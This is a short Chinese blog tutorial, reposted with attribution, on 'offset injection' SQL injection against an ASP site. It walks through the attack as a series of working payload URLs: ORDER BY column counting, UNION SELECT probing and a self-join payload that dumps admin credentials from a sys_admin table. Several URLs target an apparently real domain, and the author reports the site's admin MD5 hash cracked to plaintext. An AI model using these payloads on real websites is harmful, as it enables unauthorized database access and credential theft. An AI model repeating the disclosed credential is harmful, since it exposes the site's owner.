/*转载请注明出处:珍惜少年时*/
偏移注入主要是针对知道表,但是不知道字段的。
这里我已经知道了表明是:sys_admin
可以使用:
select exists(selct * from sys_admin);
来猜测是否有sys_admin表,如果说存在的话页面就会显示正常。
00x1 判断字段数
http://www.test.com/newslist.asp?id=688 order by 19 #错误
http://www.test.com/newslist.asp?id=688 order by 18 #正确
00x2 爆出显示位
http://www.fdsp-reme.com/newslist.asp?id=688 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from sys_admin
00x3 判断表内存在的字段数
接下来我们利用“*”代替admin表内存在的字段,由于是18个字段数,需要逐步测试,直到返回正常。
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin #错误
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin #错误
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin #错误 直到.........
http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin #正确
说明了sys_admin表下有11个字段。
偏移注入的基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案
也就是18-11=7
18-7*2=4
得到答案等于:4
然后依旧是套公式的过程。
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id) #这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。
#后面的是sql,可作公式。
如此便爆出了账号密码。
但是我测试的这个网站,略微有点特殊。如下图所示
c7d062ba4138db9f顾名思义是md5加密。此md5解密出来得:fdspme
#注:有点题外话,偏移注入以上已经完成。
但下面的那个数字就有点让人懊恼了。
我说他是ASCII码,你信吗?最关键的是我也不敢说他是ASCII码
66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53
一刚开始一眼看下去是ASCII编码,便兴匆匆的一个个解密了。解密出来是:BA@?>=<;:98763
心中感慨不已,居然那么难。然而居然是错的。以为是雷池加密,再用雷池解密一下,也还是错的。但是大家有没有注意到。数字!
好有顺序。
THE END